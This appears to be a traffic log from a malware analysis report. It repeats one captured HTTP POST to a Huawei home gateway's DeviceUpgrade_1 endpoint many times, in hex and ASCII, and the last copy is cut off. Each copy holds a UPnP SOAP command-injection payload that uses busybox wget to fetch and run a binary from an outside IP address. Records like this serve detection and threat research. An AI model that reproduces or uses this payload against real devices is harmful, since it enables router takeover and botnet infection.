Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 